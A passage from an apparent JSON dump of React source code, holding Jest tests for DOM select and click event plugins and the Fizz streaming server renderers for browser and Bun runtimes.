    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\nlet React;\nlet ReactDOMClient;\nlet act;\n\ndescribe('SelectEventPlugin', () => {\n  let container;\n\n  beforeEach(() => {\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    act = require('internal-test-utils').act;\n    container = document.createElement('div');\n    document.body.appendChild(container);\n  });\n\n  afterEach(() => {\n    document.body.removeChild(container);\n    container = null;\n  });\n\n  // See https://github.com/facebook/react/pull/3639 for details.\n  it('does not get confused when dependent events are registered independently', async () => {\n    const select = jest.fn();\n    const onSelect = event => {\n      expect(typeof event).toBe('object');\n      expect(event.type).toBe('select');\n      expect(event.target).toBe(node);\n      select(event.currentTarget);\n    };\n\n    const root = ReactDOMClient.createRoot(container);\n    const node = await (async function () {\n      await act(() => {\n        // Pass `onMouseDown` so React registers a top-level listener.\n        root.render(<input type=\"text\" onMouseDown={function () {}} />);\n      });\n      return container.firstChild;\n    })();\n\n    // Trigger `mousedown` and `mouseup`. Note that\n    // React is not currently listening to `mouseup`.\n    node.dispatchEvent(\n      new MouseEvent('mousedown', {\n        bubbles: true,\n        cancelable: true,\n      }),\n    );\n    node.dispatchEvent(\n      new MouseEvent('mouseup', {\n        bubbles: true,\n        cancelable: true,\n      }),\n    );\n\n    await act(() => {\n      // Now subscribe to `onSelect`\n      root.render(<input type=\"text\" onSelect={onSelect} />);\n    });\n    node.focus();\n\n    // This triggers a `select` event in our polyfill.\n    node.dispatchEvent(\n      new KeyboardEvent('keydown', {bubbles: true, cancelable: true}),\n    );\n\n    // Verify that it doesn't get \"stuck\" waiting for\n    // a `mouseup` event that it has \"missed\" because\n    // a top-level listener didn't exist yet.\n    expect(select).toHaveBeenCalledTimes(1);\n  });\n\n  it('should fire `onSelect` when a listener is present', async () => {\n    const select = jest.fn();\n    const onSelect = event => {\n      expect(typeof event).toBe('object');\n      expect(event.type).toBe('select');\n      expect(event.target).toBe(node);\n      select(event.currentTarget);\n    };\n\n    const node = await (async function () {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input type=\"text\" onSelect={onSelect} />);\n      });\n      return container.firstChild;\n    })();\n\n    node.focus();\n\n    let nativeEvent = new MouseEvent('focus', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('mousedown', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('mouseup', {bubbles: true, cancelable: true});\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(1);\n  });\n\n  it('should fire `onSelectCapture` when a listener is present', async () => {\n    const select = jest.fn();\n    const onSelectCapture = event => {\n      expect(typeof event).toBe('object');\n      expect(event.type).toBe('select');\n      expect(event.target).toBe(node);\n      select(event.currentTarget);\n    };\n\n    const node = await (async function () {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input type=\"text\" onSelectCapture={onSelectCapture} />);\n      });\n      return container.firstChild;\n    })();\n\n    node.focus();\n\n    let nativeEvent = new MouseEvent('focus', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('mousedown', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('mouseup', {bubbles: true, cancelable: true});\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(1);\n  });\n\n  // Regression test for https://github.com/facebook/react/issues/11379\n  it('should not wait for `mouseup` after receiving `dragend`', async () => {\n    const select = jest.fn();\n    const onSelect = event => {\n      expect(typeof event).toBe('object');\n      expect(event.type).toBe('select');\n      expect(event.target).toBe(node);\n      select(event.currentTarget);\n    };\n\n    const node = await (async function () {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input type=\"text\" onSelect={onSelect} />);\n      });\n      return container.firstChild;\n    })();\n\n    node.focus();\n\n    let nativeEvent = new MouseEvent('focus', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('mousedown', {\n      bubbles: true,\n      cancelable: true,\n    });\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(0);\n\n    nativeEvent = new MouseEvent('dragend', {bubbles: true, cancelable: true});\n    node.dispatchEvent(nativeEvent);\n    expect(select).toHaveBeenCalledTimes(1);\n  });\n\n  it('should handle selectionchange events', async function () {\n    const onSelect = jest.fn();\n\n    const node = await (async function () {\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input type=\"text\" onSelect={onSelect} />);\n      });\n      return container.firstChild;\n    })();\n\n    node.focus();\n\n    // Make sure the event was not called before we emit the selection change event\n    expect(onSelect).toHaveBeenCalledTimes(0);\n\n    // This is dispatched e.g. when using CMD+a on macOS\n    document.dispatchEvent(\n      new Event('selectionchange', {bubbles: false, cancelable: false}),\n    );\n\n    expect(onSelect).toHaveBeenCalledTimes(1);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/events/plugins/__tests__/SimpleEventPlugin-test.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @emails react-core\n */\n\n'use strict';\n\n// polyfill missing JSDOM support\nclass ToggleEvent extends Event {\n  constructor(type, eventInit) {\n    super(type, eventInit);\n    this.newState = eventInit.newState;\n    this.oldState = eventInit.oldState;\n  }\n}\n\ndescribe('SimpleEventPlugin', function () {\n  let React;\n  let ReactDOMClient;\n  let Scheduler;\n  let act;\n\n  let onClick;\n  let container;\n  let assertLog;\n  let waitForAll;\n\n  async function expectClickThru(element) {\n    await act(() => {\n      element.click();\n    });\n    expect(onClick).toHaveBeenCalledTimes(1);\n  }\n\n  function expectNoClickThru(element) {\n    element.click();\n    expect(onClick).toHaveBeenCalledTimes(0);\n  }\n\n  async function mounted(element) {\n    container = document.createElement('div');\n    document.body.appendChild(container);\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(element);\n    });\n    element = container.firstChild;\n    return element;\n  }\n\n  beforeEach(function () {\n    jest.resetModules();\n    React = require('react');\n    ReactDOMClient = require('react-dom/client');\n    Scheduler = require('scheduler');\n\n    const InternalTestUtils = require('internal-test-utils');\n    assertLog = InternalTestUtils.assertLog;\n    waitForAll = InternalTestUtils.waitForAll;\n    act = InternalTestUtils.act;\n\n    onClick = jest.fn();\n  });\n\n  afterEach(() => {\n    if (container && document.body.contains(container)) {\n      document.body.removeChild(container);\n      container = null;\n    }\n  });\n\n  it('A non-interactive tags click when disabled', async function () {\n    const element = <div onClick={onClick} />;\n    await expectClickThru(await mounted(element));\n  });\n\n  it('A non-interactive tags clicks bubble when disabled', async function () {\n    const element = await mounted(\n      <div onClick={onClick}>\n        <div />\n      </div>,\n    );\n    const child = element.firstChild;\n    child.click();\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('does not register a click when clicking a child of a disabled element', async function () {\n    const element = await mounted(\n      <button onClick={onClick} disabled={true}>\n        <span />\n      </button>,\n    );\n    const child = element.querySelector('span');\n\n    child.click();\n    expect(onClick).toHaveBeenCalledTimes(0);\n  });\n\n  it('triggers click events for children of disabled elements', async function () {\n    const element = await mounted(\n      <button disabled={true}>\n        <span onClick={onClick} />\n      </button>,\n    );\n    const child = element.querySelector('span');\n\n    child.click();\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('triggers parent captured click events when target is a child of a disabled elements', async function () {\n    const element = await mounted(\n      <div onClickCapture={onClick}>\n        <button disabled={true}>\n          <span />\n        </button>\n      </div>,\n    );\n    const child = element.querySelector('span');\n\n    child.click();\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  it('triggers captured click events for children of disabled elements', async function () {\n    const element = await mounted(\n      <button disabled={true}>\n        <span onClickCapture={onClick} />\n      </button>,\n    );\n    const child = element.querySelector('span');\n\n    child.click();\n    expect(onClick).toHaveBeenCalledTimes(1);\n  });\n\n  describe.each(['button', 'input', 'select', 'textarea'])(\n    '%s',\n    function (tagName) {\n      it('should forward clicks when it starts out not disabled', async () => {\n        const element = React.createElement(tagName, {\n          onClick: onClick,\n        });\n\n        await expectClickThru(await mounted(element));\n      });\n\n      it('should not forward clicks when it starts out disabled', async () => {\n        const element = React.createElement(tagName, {\n          onClick: onClick,\n          disabled: true,\n        });\n\n        await expectNoClickThru(await mounted(element));\n      });\n\n      it('should forward clicks when it becomes not disabled', async () => {\n        container = document.createElement('div');\n        document.body.appendChild(container);\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            React.createElement(tagName, {onClick: onClick, disabled: true}),\n          );\n        });\n        await act(() => {\n          root.render(React.createElement(tagName, {onClick: onClick}));\n        });\n        const element = container.firstChild;\n        await expectClickThru(element);\n      });\n\n      it('should not forward clicks when it becomes disabled', async () => {\n        container = document.createElement('div');\n        document.body.appendChild(container);\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(React.createElement(tagName, {onClick: onClick}));\n        });\n        await act(() => {\n          root.render(\n            React.createElement(tagName, {onClick: onClick, disabled: true}),\n          );\n        });\n        const element = container.firstChild;\n        expectNoClickThru(element);\n      });\n\n      it('should work correctly if the listener is changed', async () => {\n        container = document.createElement('div');\n        document.body.appendChild(container);\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(\n            React.createElement(tagName, {onClick: onClick, disabled: true}),\n          );\n        });\n        await act(() => {\n          root.render(\n            React.createElement(tagName, {onClick: onClick, disabled: false}),\n          );\n        });\n        const element = container.firstChild;\n        await expectClickThru(element);\n      });\n    },\n  );\n\n  it('batches updates that occur as a result of a nested event dispatch', async () => {\n    container = document.createElement('div');\n    document.body.appendChild(container);\n\n    let button;\n    class Button extends React.Component {\n      state = {count: 0};\n      increment = () =>\n        this.setState(state => ({\n          count: state.count + 1,\n        }));\n      componentDidUpdate() {\n        Scheduler.log(`didUpdate - Count: ${this.state.count}`);\n      }\n      render() {\n        return (\n          <button\n            ref={el => (button = el)}\n            onFocus={this.increment}\n            onClick={() => {\n              // The focus call synchronously dispatches a nested event. All of\n              // the updates in this handler should be batched together.\n              this.increment();\n              button.focus();\n              this.increment();\n            }}>\n            Count: {this.state.count}\n          </button>\n        );\n      }\n    }\n\n    function click() {\n      button.dispatchEvent(\n        new MouseEvent('click', {bubbles: true, cancelable: true}),\n      );\n    }\n\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(<Button />);\n    });\n\n    expect(button.textContent).toEqual('Count: 0');\n    assertLog([]);\n\n    await act(() => {\n      click();\n    });\n    // There should be exactly one update.\n    assertLog(['didUpdate - Count: 3']);\n    expect(button.textContent).toEqual('Count: 3');\n  });\n\n  describe('interactive events, in concurrent mode', () => {\n    beforeEach(() => {\n      jest.resetModules();\n\n      React = require('react');\n      ReactDOMClient = require('react-dom/client');\n      Scheduler = require('scheduler');\n\n      const InternalTestUtils = require('internal-test-utils');\n      assertLog = InternalTestUtils.assertLog;\n      waitForAll = InternalTestUtils.waitForAll;\n\n      act = require('internal-test-utils').act;\n    });\n\n    it('flushes pending interactive work before exiting event handler', async () => {\n      container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      document.body.appendChild(container);\n\n      let button;\n      class Button extends React.Component {\n        state = {disabled: false};\n        onClick = () => {\n          // Perform some side-effect\n          Scheduler.log('Side-effect');\n          // Disable the button\n          this.setState({disabled: true});\n        };\n        render() {\n          Scheduler.log(\n            `render button: ${this.state.disabled ? 'disabled' : 'enabled'}`,\n          );\n          return (\n            <button\n              ref={el => (button = el)}\n              // Handler is removed after the first click\n              onClick={this.state.disabled ? null : this.onClick}\n            />\n          );\n        }\n      }\n\n      // Initial mount\n      root.render(<Button />);\n      // Should not have flushed yet because it's async\n      assertLog([]);\n      expect(button).toBe(undefined);\n      // Flush async work\n      await waitForAll(['render button: enabled']);\n\n      function click() {\n        const event = new MouseEvent('click', {\n          bubbles: true,\n          cancelable: true,\n        });\n        Object.defineProperty(event, 'timeStamp', {\n          value: 0,\n        });\n        button.dispatchEvent(event);\n      }\n\n      // Click the button to trigger the side-effect\n      await act(() => click());\n      assertLog([\n        // The handler fired\n        'Side-effect',\n        // The component re-rendered synchronously, even in concurrent mode.\n        'render button: disabled',\n      ]);\n\n      // Click the button again\n      click();\n      assertLog([\n        // The event handler was removed from the button, so there's no effect.\n      ]);\n\n      // The handler should not fire again no matter how many times we\n      // click the handler.\n      click();\n      click();\n      click();\n      click();\n      click();\n      await waitForAll([]);\n    });\n\n    // NOTE: This test was written for the old behavior of discrete updates,\n    // where they would be async, but flushed early if another discrete update\n    // was dispatched.\n    it('end result of many interactive updates is deterministic', async () => {\n      container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      document.body.appendChild(container);\n\n      let button;\n      class Button extends React.Component {\n        state = {count: 0};\n        render() {\n          return (\n            <button\n              ref={el => (button = el)}\n              onClick={() =>\n                // Intentionally not using the updater form here\n                this.setState({count: this.state.count + 1})\n              }>\n              Count: {this.state.count}\n            </button>\n          );\n        }\n      }\n\n      // Initial mount\n      root.render(<Button />);\n      // Should not have flushed yet because it's async\n      expect(button).toBe(undefined);\n      // Flush async work\n      await waitForAll([]);\n      expect(button.textContent).toEqual('Count: 0');\n\n      function click() {\n        const event = new MouseEvent('click', {\n          bubbles: true,\n          cancelable: true,\n        });\n        Object.defineProperty(event, 'timeStamp', {\n          value: 0,\n        });\n        button.dispatchEvent(event);\n      }\n\n      // Click the button a single time\n      await act(() => click());\n      // The counter should update synchronously, even in concurrent mode.\n      expect(button.textContent).toEqual('Count: 1');\n\n      // Click the button many more times\n      await act(() => click());\n      await act(() => click());\n      await act(() => click());\n      await act(() => click());\n      await act(() => click());\n      await act(() => click());\n\n      // Flush the remaining work\n      await waitForAll([]);\n      // The counter should equal the total number of clicks\n      expect(button.textContent).toEqual('Count: 7');\n    });\n  });\n\n  describe('iOS bubbling click fix', function () {\n    // See http://www.quirksmode.org/blog/archives/2010/09/click_event_del.html\n\n    it('does not add a local click to interactive elements', async function () {\n      container = document.createElement('div');\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<button onClick={onClick} />);\n      });\n\n      const node = container.firstChild;\n\n      node.dispatchEvent(new MouseEvent('click'));\n\n      expect(onClick).toHaveBeenCalledTimes(0);\n    });\n\n    it('adds a local click listener to non-interactive elements', async function () {\n      container = document.createElement('div');\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div onClick={onClick} />);\n      });\n\n      const node = container.firstChild;\n\n      await act(() => {\n        node.dispatchEvent(new MouseEvent('click'));\n      });\n\n      expect(onClick).toHaveBeenCalledTimes(0);\n    });\n\n    it('registers passive handlers for events affected by the intervention', async () => {\n      container = document.createElement('div');\n\n      const passiveEvents = [];\n      const nativeAddEventListener = container.addEventListener;\n      container.addEventListener = function (type, fn, options) {\n        if (options !== null && typeof options === 'object') {\n          if (options.passive) {\n            passiveEvents.push(type);\n          }\n        }\n        return nativeAddEventListener.apply(this, arguments);\n      };\n\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div />);\n      });\n\n      expect(passiveEvents).toEqual([\n        'touchstart',\n        'touchstart',\n        'touchmove',\n        'touchmove',\n        'wheel',\n        'wheel',\n      ]);\n    });\n\n    it('dispatches synthetic toggle events when the Popover API is used', async () => {\n      container = document.createElement('div');\n\n      const onToggle = jest.fn();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <>\n            <button popoverTarget=\"popover\">Toggle popover</button>\n            <div id=\"popover\" popover=\"\" onToggle={onToggle}>\n              popover content\n            </div>\n          </>,\n        );\n      });\n\n      const target = container.querySelector('#popover');\n      target.dispatchEvent(\n        new ToggleEvent('toggle', {\n          bubbles: false,\n          cancelable: true,\n          oldState: 'closed',\n          newState: 'open',\n        }),\n      );\n\n      expect(onToggle).toHaveBeenCalledTimes(1);\n      let event = onToggle.mock.calls[0][0];\n      expect(event).toEqual(\n        expect.objectContaining({\n          oldState: 'closed',\n          newState: 'open',\n        }),\n      );\n\n      target.dispatchEvent(\n        new ToggleEvent('toggle', {\n          bubbles: false,\n          cancelable: true,\n          oldState: 'open',\n          newState: 'closed',\n        }),\n      );\n\n      expect(onToggle).toHaveBeenCalledTimes(2);\n      event = onToggle.mock.calls[1][0];\n      expect(event).toEqual(\n        expect.objectContaining({\n          oldState: 'open',\n          newState: 'closed',\n        }),\n      );\n    });\n\n    it('dispatches synthetic toggle events when <details> is used', async () => {\n      // This test just replays browser behavior.\n      // The real test would be if browsers dispatch ToggleEvent on <details>.\n      // This case only exists because MDN claims <details> doesn't receive ToggleEvent.\n      // However, Chrome dispatches ToggleEvent on <details> and the spec confirms that behavior: https://html.spec.whatwg.org/multipage/indices.html#event-toggle\n\n      container = document.createElement('div');\n\n      const onToggle = jest.fn();\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <details id=\"details\" onToggle={onToggle}>\n            <summary>Summary</summary>\n            Details\n          </details>,\n        );\n      });\n\n      const target = container.querySelector('#details');\n      target.dispatchEvent(\n        new ToggleEvent('toggle', {\n          bubbles: false,\n          cancelable: true,\n          oldState: 'closed',\n          newState: 'open',\n        }),\n      );\n\n      expect(onToggle).toHaveBeenCalledTimes(1);\n      let event = onToggle.mock.calls[0][0];\n      expect(event).toEqual(\n        expect.objectContaining({\n          oldState: 'closed',\n          newState: 'open',\n        }),\n      );\n\n      target.dispatchEvent(\n        new ToggleEvent('toggle', {\n          bubbles: false,\n          cancelable: true,\n          oldState: 'open',\n          newState: 'closed',\n        }),\n      );\n\n      expect(onToggle).toHaveBeenCalledTimes(2);\n      event = onToggle.mock.calls[1][0];\n      expect(event).toEqual(\n        expect.objectContaining({\n          oldState: 'open',\n          newState: 'closed',\n        }),\n      );\n    });\n  });\n\n  it('includes the submitter in submit events', async function () {\n    container = document.createElement('div');\n\n    const onSubmit = jest.fn(event => {\n      event.preventDefault();\n    });\n    const root = ReactDOMClient.createRoot(container);\n    await act(() => {\n      root.render(\n        <form onSubmit={onSubmit}>\n          <button type=\"submit\" id=\"submitter\">\n            Submit\n          </button>\n        </form>,\n      );\n    });\n\n    const submitter = container.querySelector('#submitter');\n    const submitEvent = new SubmitEvent('submit', {\n      bubbles: true,\n      cancelable: true,\n      submitter: submitter,\n    });\n    await act(() => {\n      submitter.dispatchEvent(submitEvent);\n    });\n\n    expect(onSubmit).toHaveBeenCalledTimes(1);\n    const event = onSubmit.mock.calls[0][0];\n    expect(event.submitter).toBe(submitter);\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzServerBrowser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {PostponedState, ErrorInfo} from 'react-server/src/ReactFizzServer';\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createRequest,\n  resumeRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  resumeRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype NonceOption =\n  | string\n  | {\n      script?: string,\n      style?: string,\n    };\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  nonce?: NonceOption,\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  formState?: ReactFormState<any, any> | null,\n  onHeaders?: (headers: Headers) => void,\n  maxHeadersLength?: number,\n};\n\ntype ResumeOptions = {\n  nonce?: NonceOption,\n  signal?: AbortSignal,\n  onError?: (error: mixed) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n};\n\n// TODO: Move to sub-classing ReadableStream.\ntype ReactDOMServerReadableStream = ReadableStream & {\n  allReady: Promise<void>,\n};\n\nfunction renderToReadableStream(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        options ? options.nonce : undefined,\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n      options ? options.formState : undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nfunction resume(\n  children: ReactNodeList,\n  postponedState: PostponedState,\n  options?: ResumeOptions,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'bytes',\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n    const request = resumeRequest(\n      children,\n      postponedState,\n      resumeRenderState(\n        postponedState.resumableState,\n        options ? options.nonce : undefined,\n      ),\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport {renderToReadableStream, resume, ReactVersion as version};\n"
  },
  {
    "path": "packages/react-dom/src/server/ReactDOMFizzServerBun.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactNodeList, ReactFormState} from 'shared/ReactTypes';\nimport type {\n  BootstrapScriptDescriptor,\n  HeadersDescriptor,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\nimport type {ImportMap} from '../shared/ReactDOMTypes';\nimport type {ErrorInfo} from 'react-server/src/ReactFizzServer';\n\nimport ReactVersion from 'shared/ReactVersion';\n\nimport {\n  createRequest,\n  startWork,\n  startFlowing,\n  stopFlowing,\n  abort,\n} from 'react-server/src/ReactFizzServer';\n\nimport {\n  createResumableState,\n  createRenderState,\n  createRootFormatContext,\n} from 'react-dom-bindings/src/server/ReactFizzConfigDOM';\n\nimport {ensureCorrectIsomorphicReactVersion} from '../shared/ensureCorrectIsomorphicReactVersion';\nensureCorrectIsomorphicReactVersion();\n\ntype Options = {\n  identifierPrefix?: string,\n  namespaceURI?: string,\n  nonce?:\n    | string\n    | {\n        script?: string,\n        style?: string,\n      },\n  bootstrapScriptContent?: string,\n  bootstrapScripts?: Array<string | BootstrapScriptDescriptor>,\n  bootstrapModules?: Array<string | BootstrapScriptDescriptor>,\n  progressiveChunkSize?: number,\n  signal?: AbortSignal,\n  onError?: (error: mixed, errorInfo: ErrorInfo) => ?string,\n  unstable_externalRuntimeSrc?: string | BootstrapScriptDescriptor,\n  importMap?: ImportMap,\n  formState?: ReactFormState<any, any> | null,\n  onHeaders?: (headers: Headers) => void,\n  maxHeadersLength?: number,\n};\n\n// TODO: Move to sub-classing ReadableStream.\ntype ReactDOMServerReadableStream = ReadableStream & {\n  allReady: Promise<void>,\n};\n\nfunction renderToReadableStream(\n  children: ReactNodeList,\n  options?: Options,\n): Promise<ReactDOMServerReadableStream> {\n  return new Promise((resolve, reject) => {\n    let onFatalError;\n    let onAllReady;\n    const allReady = new Promise<void>((res, rej) => {\n      onAllReady = res;\n      onFatalError = rej;\n    });\n\n    function onShellReady() {\n      const stream: ReactDOMServerReadableStream = (new ReadableStream(\n        {\n          type: 'direct',\n          pull: (controller): ?Promise<void> => {\n            // $FlowIgnore\n            startFlowing(request, controller);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 2048},\n      ): any);\n      // TODO: Move to sub-classing ReadableStream.\n      stream.allReady = allReady;\n      resolve(stream);\n    }\n    function onShellError(error: mixed) {\n      // If the shell errors the caller of `renderToReadableStream` won't have access to `allReady`.\n      // However, `allReady` will be rejected by `onFatalError` as well.\n      // So we need to catch the duplicate, uncatchable fatal error in `allReady` to prevent a `UnhandledPromiseRejection`.\n      allReady.catch(() => {});\n      reject(error);\n    }\n\n    const onHeaders = options ? options.onHeaders : undefined;\n    let onHeadersImpl;\n    if (onHeaders) {\n      onHeadersImpl = (headersDescriptor: HeadersDescriptor) => {\n        onHeaders(new Headers(headersDescriptor));\n      };\n    }\n\n    const resumableState = createResumableState(\n      options ? options.identifierPrefix : undefined,\n      options ? options.unstable_externalRuntimeSrc : undefined,\n      options ? options.bootstrapScriptContent : undefined,\n      options ? options.bootstrapScripts : undefined,\n      options ? options.bootstrapModules : undefined,\n    );\n    const request = createRequest(\n      children,\n      resumableState,\n      createRenderState(\n        resumableState,\n        options ? options.nonce : undefined,\n        options ? options.unstable_externalRuntimeSrc : undefined,\n        options ? options.importMap : undefined,\n        onHeadersImpl,\n        options ? options.maxHeadersLength : undefined,\n      ),\n      createRootFormatContext(options ? options.namespaceURI : undefined),\n      options ? options.progressiveChunkSize : undefined,\n      options ? options.onError : undefined,\n      onAllReady,\n      onShellReady,\n      onShellError,\n      onFatalError,\n      options ? options.formState : undefined,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        abort(request, (signal: any).reason);\n      } else {\n        const listener = () => {\n          abort(request, (signal: any).reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  